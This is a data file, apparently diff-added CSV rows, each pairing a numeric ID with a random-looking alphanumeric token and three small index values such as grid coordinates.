+348,M4TJSON4JMN60V2JCBBUP6271FXBXRR=,6,3,3 +349,WEMWJY5RTIVBILI9MU07ADB3OD9H4FU=,6,3,4 +1243,T3SKYBYW2CDRGUQATZ4W23WQ7LQ2ZU4=,20,3,2 +1244,CPOQPMZXFEZSGS704NBH1P5EUAEIVUX=,20,3,3 +352,6YAIPLLIV854PTDUV1CKZYC10AF9XV5=,6,3,7 +353,7ZSOVAAY4OFWYKNW0NNER7KUSJQVZWL=,6,4,0 +354,EFXHQO5LE4CWQHU3OJC8NG44W3BOEQY=,6,4,1 +355,5OFRRUDB0FEIU5TLSD09IP3V720JP2Z=,6,4,2 +356,OPPZ3DI8M55QBSIFGCUZQLB6SSTF86Y=,6,4,3 +357,7HMCM80ZBEXY7LUS5PCXREH2HE45DHR=,6,4,4 +358,YW1ZJKI1CHZ1L9AYODM2BABSIS0W4QG=,6,4,5 +359,F8ZNOWDG10T1KWGFPYSALODHR7K07T7=,6,4,6 +360,3GGYGVGUB7DBEACS0K786NLWQ9V1OXX=,6,4,7 +361,CX96I5BGTEXF1MHVJTTDF52L9QCRARP=,6,5,0 +362,O0KWNLHVCVK3O0N9VHAJ352ERXKJVA0=,6,5,1 +363,BJ08O5ZMLS7QIAVZ7YT8VJKYDVP7AQC=,6,5,2 +364,WSRWVCP14DDBR6FZ20Z4H78G00RWXUD=,6,5,3 +365,G4BYUX6MFOE6T0TM23ZG44VSBP7E9O9=,6,5,4 +366,JCJJZ42D0X0U3LKI0QCCELRAAYDBYO7=,6,5,5 +367,K02T9RHE1PKZBCH08YO1GSUR3S87FYU=,6,5,6 +368,UPUWLQBW31UCL1KZOOZT9MLEQYBUC5D=,6,5,7 +369,HZIUWMFNQPY8ULSD366WXQ9G5OOIPDC=,6,6,0 +370,ZMHI0TCVY1DIILFGFN20K32NO6ETVNK=,6,6,1 +371,P6BUGS7MHQ3S0XPCI5XJT86OUYJ39W0=,6,6,2 +372,9SXEQ9N2CNHNVNIT2W7XHANWYH3QR7C=,6,6,3 +373,SG3JNPY1IR37TVQLGFPJVTDXKBH830P=,6,6,4 +374,SZMMT5DAEZ45NK4J1IJAICST09QZIT3=,6,6,5 +375,AWMZ53DPKAKB5P9UXMQXIWCGNVZTV08=,6,6,6 +376,8QRB7U9UI2DA2NM3PX7998P346R4C21=,6,6,7 +377,XTYEKITB9139DMVUD5BLSADA28EU1PG=,6,7,0 +378,AC51HZ7IW2EV1JPDOB69WXUAXXI0ADT=,6,7,1 +379,OLBO29ERRG9FTLJF4B728V56QVXV4RW=,6,7,2 +380,J3XCQ8Q2Y6AO11TJ1RPGOBMDC0WJ100=,6,7,3 +381,617X9WLWWXIWRHWESTG3VASHRAUJ31G=,6,7,4 +382,E06DE8OQ8GWM4Y8V6W7P2H421OTRVGA=,6,7,5 +383,H3UGFX5TA5SN8LYABR1E9G1HNPZVLH6=,6,7,6 +384,B4WMGBD78N82M8NCWQ62LJJSVN8TZW3=,6,7,7 +385,EHMZJFO5LULLBY7L513R959FCTOJ1RQ=,7,0,0 +386,Q40R8H533UJRK3LBNRNZ9INTJCG87FZ=,7,0,1 +387,1XIRDR9LJYNHPU5HPHENGFVLA711G7G=,7,0,2 +388,PWHBEH9LT4QMY0T6IRPAAYUQS381K65=,7,0,3 +389,76PC5QH33JK7K4OZ7U8ZNTSW4NPBY6N=,7,0,4 +392,AVHWN8QCCLOMFVBVX0NE5DDAZBMR0SX=,7,0,7 +393,53CUV38XQ2CHRXWGMU2UTTUPPSMDM9A=,7,1,0 +394,3IK6OVXHZCVVRHGI9GWHMOARXINEF08=,7,1,1 +395,52M0W0HUGVCAW67IZ4YB6RBW29QK556=,7,1,2 +396,14ORKUXZ8WHEME0JNRUVEKDTX5524X2=,7,1,3 +397,UGLAHECWGB1Y2U8WDAMQ6VNEZI8KJPT=,7,1,4 +398,E9WZSFNP3697XQ64L7EHY0QYUYX8QZ6=,7,1,5 +399,7JHM5UKUOGHQCA8QPF9RHGB1SXBFPXA=,7,1,6 +400,NKW8CR3SMZCRMTL6NNATPIQHHRYDCHQ=,7,1,7 +401,SSG8JJ2HVP3YDL1U2CSGMIG5HXAWJYX=,7,2,0 +402,2LJBCLAP77HF5C1V06VANNCL5E0RJK5=,7,2,1 +403,UOGS563OFTY85FM5Y35VI8ST6J6KG2A=,7,2,2 +404,ZTH6TZWB9B3387HUVJ13XHF6UTBOA1T=,7,2,3 +405,HH52I89H29P3H7CH6DCHJAVZYSHCS1X=,7,2,4 +408,MTTGPR34555N47LYZ1SGCFBF56SICUH=,7,2,7 +409,9GFA04HWKMDQY7RV46IRTUUL2HIQBWO=,7,3,0 +411,VMK3XDS0C2GKAT4PPR1FMO7EBMG2LXF=,7,3,2 +412,PS5Q1GNP6OHC8PXYCKBTXA2S81HHPUM=,7,3,3 +413,876Y8N3E00ARKV30G077SYU3NWAWOS1=,7,3,4 +416,3BM9GB8O7494F4X01ZYE1NM1LQS5OPA=,7,3,7 +417,UMSADQY7FGPXXTVUMNUFI0VC3DSNDIV=,7,4,0 +418,2FGCY6KP2JCMYR1D9HCHCIKJ1LD7URJ=,7,4,1 +419,EWSTKL6HKCMRUJ32STSNBENFNW4BARO=,7,4,2 +420,IQARKC8QBCWET6TG8OGM1CFTXV0N48G=,7,4,3 +421,USOVRI5M99CM3LA0213SYWQGKA089TK=,7,4,4 +422,YAOJ71O6M3Q49RZRMTF1B3VIV7HC0J0=,7,4,5 +423,VUI770XMU0EDA12WCXI7VZD22PWLUX5=,7,4,6 +424,VQEMSHJZH3UPC8D0DSJZF88C8YL81FM=,7,4,7 +425,I1BOW0FC83N9YZNBMJE6JY032ISFPN5=,7,5,0 +426,9SGVYX6JOT17CHKIJX0H86LGT1UBRYB=,7,5,1 +427,9X9PS32MAD4LN5BRULO53QU327RVNID=,7,5,2 +428,87NJA8F52PGAZ78O8E6BDZI6404HQWR=,7,5,3 +429,UY4FPCM9FJW6FRPUJ844SYOF8JVP45Q=,7,5,4 +430,JXJ6OF5M5MA230LNEYT506RUDXIEECX=,7,5,5 +431,UYC7JWRRUUR4MYKDJBX8TXT721T3NYS=,7,5,6 +432,60UPQC8WK6IE8KQ3VZHBXL5PDXP34LT=,7,5,7 +433,XTQ7N6JKLE8SMX8FZMYGIMG37K3CVKJ=,7,6,0 +434,ULBQHYY3M1JUDNOTNETRH0A95VNJ477=,7,6,1 +435,7YA2RFTLZC8OX6BCNTQHCWACW5804LM=,7,6,2 +436,CYQ2X46F4AYAEYDULCIK5H2W0YGYKWN=,7,6,3 +437,ESLX1QTJIE23S4SD17K64MS0FCSXN26=,7,6,4 +438,S3CKEWWUV2FIZA8EBSJGX6CLJVCVVT6=,7,6,5 +439,RCG0G0LDXM1WSQN0MAD1WP7H09FZC2G=,7,6,6 +440,ZZ3569DBC6F1H0PRJ8Q5FFJUQ6VSF4U=,7,6,7 +441,OJGSOX1F94N1G2XC27KB6LORD3GD674=,7,7,0 +442,5X92LKW3AZ5JGSDRXBVWQPG0H3UU1J5=,7,7,1 +443,27A29OPS4ZRCVJ4OG7ONDLDO2QXXYWM=,7,7,2 +444,GR798ACLG1FEOXYK8HTMQYETSXS94JX=,7,7,3 +445,N3PIFR268FKG2C0JHKQ7WX0L595HQ9Z=,7,7,4 +446,AHTOIG3SKHEV73SB2LX21UI1PPUX5D7=,7,7,5 +1245,2JHEJ6BR54UL6X48YAVA2B42CARJ7B6=,20,3,4 +448,HKKJ1AGW5A3GO3880WHI65GPSCTRKSY=,7,7,7 +449,SQXD78ZDETY0CVM0H5XOACX27U6WCK6=,8,0,0 +450,PISQ973GRDZH4T40XANIXJDJKHLG5Y2=,8,0,1 +451,2VWK8SMXF4WYX6SHZUHP32T6EN6VBTA=,8,0,2 +452,6LCQTIYC2B5Y3XI6OW2ECKL0YIRXPCT=,8,0,3 +453,3JYTZERIZIEFH9DSF7KGUJOS1A4873S=,8,0,4 +2689,VQZ79EE80O6D6KVQG9UVY2G9YF9YJZZ=,43,0,0 +2690,K54B3C8JP780T6R7UZFQAO6N0ALIDCF=,43,0,1 +456,ZI9RJ4PYXKWNFTECXIHX6APGVXP0E93=,8,0,7 +457,07F6SZSWHIE3DXGAG79VDIRML85NG9U=,8,1,0 +458,7JHKOLDS06CVXNM7U3MWD79VOF4TLS8=,8,1,1 +459,LYRV3SPXOW9A4GGM99VST8GEV7MG5W3=,8,1,2 +460,FHCZK1E954XECMD1UB2IRI9LGWU1X6F=,8,1,3 +461,UQFBAEK67CXW79OEHR4C53WDC6VPF46=,8,1,4 +1248,UEY08V3KEIPRC0ILDQXQI6HKJ9G9A79=,20,3,7 +1249,RUC3YMOJIX0RZ12N60UWYYDFSQNDDY3=,20,4,0 +464,HRJ0S0CJ689KVMIKFX1VAT1KHKDPWE4=,8,1,7 +465,KSHUIPZZVLPSMR3KQQZC2G0VV9KPPHO=,8,2,0 +466,P82CD2ZVT1T33912XWLZ8ZSX639RNPE=,8,2,1 +467,AWH1LGI9OQ9OJUIED2GT86N7Q9GFV9T=,8,2,2 +468,A88EJJJVRFX6QSV68N8W0QTV5AIVPK4=,8,2,3 +469,CZBJZKDA54LDU1T6IL6TBDOIS4VKD6L=,8,2,4 +1250,9EONGBIZEUHYOXOXWFQI588W04B4BN7=,20,4,1 +1251,M4CFTWE10C465FPM1W9FOTXHD4MK9UM=,20,4,2 +472,XDKJEERATHAR2ONYL34DNG51EXMPHIR=,8,2,7 +473,LV7TO9MO9W9HF36BQWMIDARSZUW4C2A=,8,3,0 +1252,CK1KMTX0RT2HN2LAMQV2YD1VUJWUBX3=,20,4,3 +475,OMLZSM5UFJA5USJNCMS2QSOLMZAB95V=,8,3,2 +476,2XAJ9LZA88YYRCK172L1CSUK0RE035J=,8,3,3 +477,RGG18J2KDO3H7S2M7YUM4ZO68RZMKKP=,8,3,4 +1253,O7IY37LGJHDX6VN4J16M38BZDN4D1KA=,20,4,4 +480,VL9WUXNTRBDORWP8CDE9KWL9XA9WUE8=,8,3,7 +481,H0D0HM1QDY90WYSDJTIGV1VKE2YFNZZ=,8,4,0 +482,N0TY8HQKGYQOPY9VJZ14MAJRBMY9706=,8,4,1 +483,WKURIF0YBM31B308FMIU6ACL8VGLRP8=,8,4,2 +484,P7DOGFDJBDU1LXUDDAVPGQY6XTOWGDT=,8,4,3 +485,U23TX2TYUH5SZZAVE6D2KOLHJI5A1RH=,8,4,4 +488,SGIF82VWLV5HWALGI25IWYD8G6MRZKP=,8,4,7 +489,TUK3JIOAZ4Q8M26NTI5TY89ZT6BQYEN=,8,5,0 +490,KEGB11B4DP9VZKFCQJLBQVXZTD6NVDV=,8,5,1 +491,AH030X3TIK9JMJSEJ2FY6QAEGNK7GH5=,8,5,2 +492,VO9R523ZOBQSMH44SDLVS15K0TN0EO0=,8,5,3 +493,XJQAIBKLM2T0RETQ47TY25CTC91NKHM=,8,5,4 +495,3MXO8T2C8CMPTTKFBN5BT8NCWCBNQM1=,8,5,6 +496,E8IPQ4XV1BMQEMML69WXF83NZDQY20K=,8,5,7 +497,IS616EA1AEYTXC6OY8OW4UIW4QEO421=,8,6,0 +498,3Z6IUU44NI9AUPYTWWX1FAOC6LD06J9=,8,6,1 +499,HQ2Z19CXM6HS40KEVD2I2Y7LM61KWYD=,8,6,2 +500,KC5784FZZIG3DE9ICFEQL1U5QDV4DF5=,8,6,3 +501,22S9XH27SS9U52XSFJZA9S3W05EFBP7=,8,6,4 +502,HZCPM4Z1RMS02LVWFZSB3RRR5KZQBHR=,8,6,5 +503,9NF03XCSZOYKFP9WWFH22OX03AHX970=,8,6,6 +504,NBQ9QGOQXIW8ZXQXO1GBMCK565P1J93=,8,6,7 +505,8ZKUVKCRQBOPXMBYKCOA5VHKWATWGZ8=,8,7,0 +506,BEH5Y06E8FIDE9G75EYLIY7N7X1R9FE=,8,7,1 +507,6SO8XJ3XGOPFQ0IBS1BO5AOH8POJVJH=,8,7,2 +508,ITWPT2GLEQLT7557FVKHAHUIFBALSYD=,8,7,3 +509,X05P4SA56ROJJHXKK14VASHE79HX0DH=,8,7,4 +511,FQ1003S7ASOP3M4LQHDT1X16K8HGNHJ=,8,7,6 +512,GWEDGUV9I95OTEFN4KBH6ZPXYFDCFVU=,8,7,7 +513,8OSSMUDCRAXZELMGJ4RLVYTKMNPXAGG=,9,0,0 +514,JH2HZHL68APQ8THF7B5O852TCO4JPDU=,9,0,1 +515,HWXFZ5KVD1TVV316WPVOCOW3CFXXU1J=,9,0,2 +516,QECGZZ93MZILBDES33FGSN9H0M218K3=,9,0,3 +517,YPRTCTLAM27Y71YOXI9J1NLLDEV5Q8U=,9,0,4 +520,JG47303UAQLGMYW1EFCPB6V5FPQJCXH=,9,0,7 +521,16XEHXEAYZ8V8C9N22MCNGMGYF9YIAI=,9,1,0 +522,UJU4HSK7G5UZMB1L35HLL62KI2RLNBV=,9,1,1 +523,68TLQ0U7GPGEAO8Q5C6DP64UR4HC1NE=,9,1,2 +524,AWSU4QGGJD2QGXMX4EBU7ADIDXPMYNS=,9,1,3 +525,H7YVVPYRSNC0AKNU5VTNJFV13XVHB7Z=,9,1,4 +528,M0FLCYWXFLD5PB4G8JGW6X1J08637PV=,9,1,7 +529,T6PZTQNJR0ARY7DIBIEEJ7MKEFUR2KQ=,9,2,0 +530,LHY3SM35CX7S8TSX012MSU4C23OFLO4=,9,2,1 +531,7H19KZM7Q6S57M5D1M3L2MN29K6HCHY=,9,2,2 +532,1CT4VHSINZ3WD348WXESUKP3F7J97MQ=,9,2,3 +533,TD8IIN8QB28TCEA4BBUYVPJ7Z8HMHX1=,9,2,4 +536,AY4TQ2H81PLF2XARICS75KTV66SWGAT=,9,2,7 +537,R2WEBP4C32HOCRDHKLYEIJ44BGSQLMG=,9,3,0 +539,GP9N6S2VK7JC44F2ROTP42OZ5VRKIFE=,9,3,2 +540,ROCIL79PA0O5TBON9E4CYYCX76AFX7G=,9,3,3 +541,1WU9KUAT7AP4UT2JZR1BFYP2E6HECNG=,9,3,4 +544,A3RTYMD6DNFAH8UW3HRAJTD6G6KVW8C=,9,3,7 +545,LL3Z6SNG78YQ02DAXOPL1QWJTUUHGC8=,9,4,0 +546,3VLE9K5VIOJKG9ZZMBE24MMH3ZD8352=,9,4,1 +547,XX3ADF4ECK9XNGXNUKA631XDZJKLMLL=,9,4,2 +548,1BJQM62O1ANNLNH2SCMBJVZT2GKGA4B=,9,4,3 +549,17G79VEDX26SR5MGBXPVOF1XFV2Q8NO=,9,4,4 +552,L0YAPT43XX5RRLCTCV3KNUP31BZAF1S=,9,4,7 +553,WGV2EB56TFNTW7PZBJRTLFKCJ3S4AJK=,9,5,0 +554,KQ01F79WE0P2CTMEBF7OJF51HLRNV1U=,9,5,1 +555,TL4B9E1Y2HUPQH77GPJRICTNYSMHNN7=,9,5,2 +556,7H6FF2Y6CXE50NZAPE6LAFGHNQQNJPT=,9,5,3 +557,2Q3XTNHXGMKH32PCB1P3LSLG2120TCK=,9,5,4 +560,SQP2O384UOW7LA6DROC87DQOSG07XZG=,9,5,7 +561,2USLFD5SRREROEWBLGPNV0DJSVAZ2W1=,9,6,0 +562,912Y6WWZC3TXDJFG9ZP3808G0AWC3IP=,9,6,1 +563,P0X3MGU9R1FECR9AL8TGDG9GNA61US0=,9,6,2 +564,QQCOYTYXCWY7IOTZ2XEEPY3KO03DIT5=,9,6,3 +565,LEQXI566PWRESJOGFHHIK13R2VMX7R6=,9,6,4 +566,HXZURYKB2VSS6S4C6Y4AULGIYA333E4=,9,6,5 +567,DDSEGIZ679UF8J2L1ISZS0X8NKE08SG=,9,6,6 +568,0O75UPZW9BRI0HUDHJVFTZ7E4RUDKOI=,9,6,7 +569,I8MYWYRWIACY5HZ1X4SRVB1IRQVVEXF=,9,7,0 +570,UD28MJYL8RCF53L7A9HTM2GPGU3YDTR=,9,7,1 +571,HWG67C1IJK8XWKD7H8PJNPMN59V5WZJ=,9,7,2 +572,HX2MLCQF3U9O9NHFPQWKJR3SVD2PZ2M=,9,7,3 +573,6T2K7VJRTZ60DJA8752U3BJ0763OF1J=,9,7,4 +576,EY48OIIRR3NC4VQOICNGG7XRYKQBIGA=,9,7,7 +577,QVTB55G5VA3M22KQP3XUD0LIGKITFXO=,10,0,0 +578,IL4OPKZ6JPTD25ODHJCAX0M1TCQVKEW=,10,0,1 +579,4PCUJJAOYU95K111CZP3231QQGM7KSW=,10,0,2 +580,RN6P0RY6I0ZLISYJBXS9BCAF04SELIC=,10,0,3 +581,A34XS95J7FVBX82KI3TPVKF1FMXCDP1=,10,0,4 +582,10P6590VIPOEETR5B9QHONAKCNN3MHQ=,10,0,5 +583,PRMTDUB6A50KQPAY6G55ZBUKTV7ZYAG=,10,0,6 +584,HXUYLU5Y6IB9MGNI1CRONFSUB7WL28V=,10,0,7 +585,1XB3ZRZVHV4ZK5QOVXG7CAKTYAT2A77=,10,1,0 +586,QGP88YCG2HLHI77T0QVE96L28KRH94Q=,10,1,1 +587,KBYV5ARJJ1MOAO7LIQL3SNZSEFA8RJ2=,10,1,2 +588,JCY51UQQTIUVKO1U2EIJNS3JJDW100E=,10,1,3 +589,K2V8U4X8DO88TGY61JBZE9ZZVYA8KF8=,10,1,4 +590,SZP3IE8GVVJ53OJXIOZGCV8EBT89OX6=,10,1,5 +591,MJ5MO57DRFZZAFWU3N76ZN4AUH1IKL5=,10,1,6 +592,55ZY6MBK2EIBXJI9LFWVJL5VECRPGTS=,10,1,7 +593,E4AOSAOZC8TQGZYGR2HPYFLOZ2K0H8C=,10,2,0 +594,9X3DJ1AF2KB9455G9LT1HKJX4HQQBN1=,10,2,1 +595,D6PYMXD11EWZOZVS3CCS5BQ2PH7TWKF=,10,2,2 +596,NNLDP6105OQ1R8M3975JSQ5CONXJBHB=,10,2,3 +597,1PESF5XQTGHCKQWMZ1FST260P4XB5OJ=,10,2,4 +600,YOFV6Q56NT9LFVEFP6USXYZHC9U40VY=,10,2,7 +601,3WQNJY3O4KUI4FJTR103M96XPE42KRQ=,10,3,0 +603,QATVEHGD3ZJPSZOVHC61D4W2GEZ2BMA=,10,3,2 +604,NBCTGR272RH98Y7IWA0ZYVPWIJ3JOTB=,10,3,3 +605,ZTXWO39OTPGAXM1T08XJ6NVC1T30V2Z=,10,3,4 +608,Y95VKV282VGERXWP1U1KRXHSDS7B5CD=,10,3,7 +609,FEPNSMQYR1XYZ7FPFWVS0BOZNYNSKGN=,10,4,0 +610,JLW2JVR41E04EKLEC83O8EQG77Z95E3=,10,4,1 +611,8BHPPUXKOY8SVGIO20GGJ5W2WEI46LW=,10,4,2 +612,W80W9MALUPCD18EN57Q7SN6GFXG9396=,10,4,3 +613,D6SOR5GCEHSL4BD8EBG6C2G7JC0V2A5=,10,4,4 +616,OT1ZKWQWAWLXZY6EQBHQYU5R84G8UOU=,10,4,7 +617,OSOBSG6TOUITIB2X28F8J3A97ZCHWZO=,10,5,0 +618,OUW51SR0JGYRXOVA4C37SA6QWEVKI7O=,10,5,1 +619,87RDLUWJDC79ZM53HG5AZ3TM943LS4D=,10,5,2 +620,LHJD414EMXHJA1OHLFNKUGMV5Q0L72R=,10,5,3 +621,1GYGJ4BV6D077D46V87COY3RN6JE2HQ=,10,5,4 +624,X7LPYJX3A8N3JJDHF0MKECVE4PC5CSX=,10,5,7 +625,IEFXLEW4K6VFME0OCXEHQFM2UH24Y3L=,10,6,0 +626,VDDZLNXB7CFMY2LFBG2LLFV23BSF1V0=,10,6,1 +627,L4GV6NWH2J1OXP59CMRI21B5ZEGQV94=,10,6,2 +628,25TNA3QH13UM4B5ELUD6PULBMDXBMT9=,10,6,3 +629,JY12W5XAGFT6USQIW7UKGG61P2GX6GZ=,10,6,4 +630,E11W994ZJGZ1YEQUZRGX97H6L2T490U=,10,6,5 +631,XI9100KCUN52HV351M1Y1DBJ2C9C7C2=,10,6,6 +632,W93X90Y0SHKRQH0EOH3F6W99KS1ERJJ=,10,6,7 +633,9YEF858WHG5IAZZ3LPBD1N141O976J5=,10,7,0 +634,QJF4EV2L9QE34H0YKRO3K7APYA581KH=,10,7,1 +635,C76QEAHQ1DYKJZ9CNGJQUF7JQC22CBE=,10,7,2 +636,RZB4SBVOHPTVT3IJULHXOO0EAEG1GLX=,10,7,3 +637,PRRD1HJCWLJXHBR29EIGZT8Q0YUK1XQ=,10,7,4 +640,5MI7N0XQ4A34AUD9R14K4FRZKB77ZXB=,10,7,7 +641,2A4UURI3X91AYDTZGTKS1DCHNI8Z7EY=,11,0,0 +642,WSNNASAYV6ZSZHUHKK9ZJW8XDAMOJUS=,11,0,1 +643,2IXX0URBLLDS0UFLFRUIE6C18G27T3W=,11,0,2 +644,364TXOH8MQIN88VVXC5A7QM6AKCLNFB=,11,0,3 +645,4KJWFABQ7JHIN2NX3247DUCR8MD3UT3=,11,0,4 +646,W8U8CK51JMZAT8JWEDCAUHQVRR4NY2E=,11,0,5 +647,EE9TID5SM16UU4WQA0SS6NBZLYXF8A2=,11,0,6 +648,605MQ740Q8H5PH06404Y4EYJEOIQ59B=,11,0,7 +649,CP047KZ2MAGIDDKZI1H5IHC8NM64F0U=,11,1,0 +650,DZRH8IYBZHHK32N7LCHGQ61X1RNXSHT=,11,1,1 +651,X9AO3AWJ87RDCXSANFYN82SDOOHUQ5Y=,11,1,2 +652,S9EK61KRT1MJD6WHIBQ3YQA6FPLU6XZ=,11,1,3 +653,VVP4IXZABLQ9QUM4LDTH0JWOVUIL7E7=,11,1,4 +654,3NH1ZF5TC025IHCPNB4V6JB1HOXHM57=,11,1,5 +655,C3BRIJRGJ8Q0BY08U5TEJJMNTTRZKSC=,11,1,6 +656,IOQ8U02RYKPM54XUFBB6VIIGIZ3UHEP=,11,1,7 +657,FMBYJD47N52GW6C34GHZNFDL68D9MSY=,11,2,0 +658,1CDPWU6E6U74FOBPH3UIDPKWTHAZ6WE=,11,2,1 +659,32CMWSYNDKWYV002NWRG1E66U73OLKJ=,11,2,2 +660,AO2KT1O2QI60OT7BAKTWN0G3DTU77BF=,11,2,3 +661,HWFP6OBLCYR0NL2KDDGBONG1O5UWQ6K=,11,2,4 +1254,CGTRV0ZL3B4A7EG6BA1T6J57OIO91CQ=,20,4,5 +1255,5YPMIBFXQWLZY33EZXDIH5G8KOQAXAX=,20,4,6 +664,W5WSXVWVZVHEKHI37T41XBJ4B3HFTSF=,11,2,7 +665,FNB923UWYQIWOL6V151MQGJEVRCUQJX=,11,3,0 +1256,QYSV1QVYA7OZB5Z6OHBJG79MJQ0W5RZ=,20,4,7 +667,94GVV1GYV9YJ11THA21AGKW34CX0T04=,11,3,2 +668,N49UIW132PQGVO4VBXCHIILAQEINQAG=,11,3,3 +669,8BCR4EJIWWQJ8ZBA26J358A93LKPYMX=,11,3,4 +1257,3IV57ZS7QS1T7ABY2EXCR68L8YGKCG3=,20,5,0 +1258,DE1MM70V9WPIWETE8TYXDLT1ZG1RTGN=,20,5,1 +672,PNRHNHHB6961DGYHL6B27CMFWDFFXYY=,11,3,7 +673,QXWOIO58TJC0YGRZ193U8M47ZTG1BQT=,11,4,0 +674,4VQ14O1IV6XQFXTEFPPO17CR356OLY3=,11,4,1 +675,F1E5U0UMGM7WECRKNB61P9LOK5I74OE=,11,4,2 +676,LPX19YXRR3L0OFBKRG5I9DOX38XW8DL=,11,4,3 +677,IAF2RQZ5484SMZP99985OO3EBGBVIBM=,11,4,4 +1259,IAP8P5JQ79SH2WNBU53SUF3CJC9CCF7=,20,5,2 +1260,8SB2HK4OMYIB3YGN62Q1KJF58K5C1BR=,20,5,3 +680,TP6UP13571E88QHOKIRGYDH7MJEOH9S=,11,4,7 +681,SY7922TT5YA1UWYBNFJJ6DBIZEUOGU2=,11,5,0 +682,046PVJXKDKE8OEBK2G4M157YTJ749AJ=,11,5,1 +683,E5SPPDWQBAGPHNPBOEBWBB2KHTDZO3V=,11,5,2 +684,NOWWY56YDM04NTMD979HBP7RZQ6WR76=,11,5,3 +685,73U3XK60B62LGEFWM78NS59RCLBYKUQ=,11,5,4 +688,NA20EJQM5K4WTXVIB8SG30WIK9L4KLM=,11,5,7 +689,426K1VP6AK9VY7BMO3WAR9S33KLC5VY=,11,6,0 +690,VZPTGZUY1LXAQ3OEFS6O0UWLTFAA81L=,11,6,1 +691,F9M2ROFMG9ML023JEATPDDTBIR3PCPV=,11,6,2 +692,CH4LJAM3VIWKJVOOV7NJVBZ6BFHM3IE=,11,6,3 +693,FME4ZR4QF9I8HJ2K1XA8PAHO5T13BGT=,11,6,4 +694,YOHSZEUF896JNXRX7XFWHG8D0AW2FR2=,11,6,5 +695,TKGTAART3LA7D93PXT86HL0CYFSQ170=,11,6,6 +696,54FI78WEGC2NHLTHA2F7553YUVFAVO9=,11,6,7 +697,V28AWZ67UYV5Y8TRHOOF9FTGJEN5HM8=,11,7,0 +698,C3TJLISXPLRJ0CO68Z3XZ9ZB8776I6N=,11,7,1 +699,TXHEX83N10KNQ8VDF3M5XKP486NDVX6=,11,7,2 +700,S3EFGI0QV1O8SCQZ8945HEBTOG2YZMD=,11,7,3 +701,SCNHX506XG15458H6U15J6R2FHLMMS2=,11,7,4 +702,4WNLT8MUZTN3WE4Y2H2DJ3PZA1Y76UH=,11,7,5 +703,QI9I0NT6UGFEXTKDAOWY1L95I0N5JCC=,11,7,6 +704,X17YUXCSL5JUTRW1LLKEIF997KAI1L9=,11,7,7 +705,H56N5PCR2CRBVDM28W0TFM9SGARYZJ1=,12,0,0 +706,E2SM427T126PTWIO1TGRQEC9SW00QNH=,12,0,1 +707,44ZCPAK756U7QPX0IVU1THJ4ISDAID6=,12,0,2 +708,06EPRVG5KJRH2KEEPIUFQADP73SAZPH=,12,0,3 +709,0V88RH6ETJLPTVSLZRSV1EMMQDUTTR5=,12,0,4 +710,JNKTSD3KWMUCE5H3JGG28GOHX9YALUA=,12,0,5 +711,DNJ9YPX8FZGVIPZUB26P0FEK9R23RZW=,12,0,6 +712,XD0DFPPEPIG3HKTZCY0H8381T84P8H1=,12,0,7 +713,ODSTAYZHELLKS63MLRM5J9I04359LOU=,12,1,0 +714,S3Y9VLVPDI08M7JIN3XYJZI4QQB6LRS=,12,1,1 +715,IOE09CLEUFGCK8IRDWH7CQO6WUQT0C7=,12,1,2 +716,99DPAM3WC7WFF2S1YYZNK0N2AYYWKQ4=,12,1,3 +717,NP4JKTG23QRNHR1F1RO4DAPV72YLADN=,12,1,4 +718,6SFG8VT508956Y19M347NYGVU30ZPXB=,12,1,5 +719,8PK0NM4CQ8BMHZ67FHPKWAQ4S4OR4ZQ=,12,1,6 +720,ZHEBBD5V4217123SBBZ35V74RDML0WA=,12,1,7 +721,I6FJ3WWG672U797KVXTEOAKXJRIMG9A=,12,2,0 +722,RW7LQHGHUZI66FBRA8BAW82KQ0IJ1T7=,12,2,1 +723,CIV1CW5LER2G071JJF39J67KXBPACPE=,12,2,2 +724,KDPU8Y2OJKBINYSB4RQSFYWXK4UML96=,12,2,3 +725,ZGDXM25YL14MGS1GPV3LWJ4PJX85H7V=,12,2,4 +728,M8JWWSB8PDRQ6PQZP77VSBZ5L1DDXAO=,12,2,7 +729,JEXJZTMN63CQ2RGH3KS2TC7FGC1JIAF=,12,3,0 +731,DLY00FL3UHQY0NJF82XTBNZCMHDQ6RJ=,12,3,2 +732,HC3BMYM2TBBVMQ5WY5P8BY72NATSMO1=,12,3,3 +733,030MJBR9UWB6DXVL4MIRGR4C6G8KLMP=,12,3,4 +736,ESOLXNW3QH8JO3TAOCODEHAXMLHPS8K=,12,3,7 +737,Z4CKXFJWNFJ0QDQ572Y0AXYYSJKD5P8=,12,4,0 +738,KWJ44LJL4RUN8EBMKMFHXISNUN6VY9L=,12,4,1 +739,AWOSNKXLE6TDZOQXBLT04PJB3DD3ABT=,12,4,2 +740,RGS9DVW6RGBSTWF0CBTJIA7N3WTOVVC=,12,4,3 +741,6SFDEZW06JF8M5JQ4NFS7OQYDLTGNGF=,12,4,4 +742,V3G7IDZ3MNHTFIVIDBX5940Y8JHVZW7=,12,4,5 +743,5LBK7NYIWB35F9K01JH4KAQDIEZNW7I=,12,4,6 +744,469JS2M1MB0G2VQ8TVRJG9ITZFCZ2LL=,12,4,7 +745,QJ8LPVK2OCMWW56GA5A5E6OF5H70JW6=,12,5,0 +746,CRB5FR2UTGKTKQTC45PYCF8HN44B8V0=,12,5,1 +747,UKG9N7M1T56BVPMNTHXRMZ4V682CEVD=,12,5,2 +748,3R2EJXBCW1FYMZJR2BFX84M1POU4MU8=,12,5,3 +749,IMKR2O08X1OJM77AFSE0PEV0Y86Q07W=,12,5,4 +752,7F5UXD8H3S3IDB7CLXHGP5FUVKBMK2W=,12,5,7 +753,JLA3N85ITNU8HH1N5JMG3K702XVI8LZ=,12,6,0 +754,Z2MZLNEQUD339WV83UE4CJVP0UPJLJT=,12,6,1 +755,WUNSKFTM8U20J3I0EJXS67QH717C36I=,12,6,2 +756,LQTJSWI7RAKGCHK6IIP29M4F28F3CQY=,12,6,3 +757,H6NGO4ZOGUQYVUQWHHH5QPW0MWLVPX0=,12,6,4 +758,9JFIL0QZ2O73PEHDWUT0LBI0E3JW41S=,12,6,5 +759,8LINSEHXG0UJR1WBWAHQWNN6PYOJ2KM=,12,6,6 +760,81L3USRD4BVLCVQWFHOSX79UVJOE6BP=,12,6,7 +761,T1ZBNB3P7JWFV11W4H70L29B8FDM7DF=,12,7,0 +762,2RLY6I06VLKPL1S6UPZDK51BYWBFOPX=,12,7,1 +763,Z7I7EXF5Q119LM9W7FOMGSR39QUUS8L=,12,7,2 +764,2ZD4I7IUMD6VJ5VCAS6IIYTI16SVTI5=,12,7,3 +765,UHT4F8QFEMRT18F07O6U8JZIXBUXCT6=,12,7,4 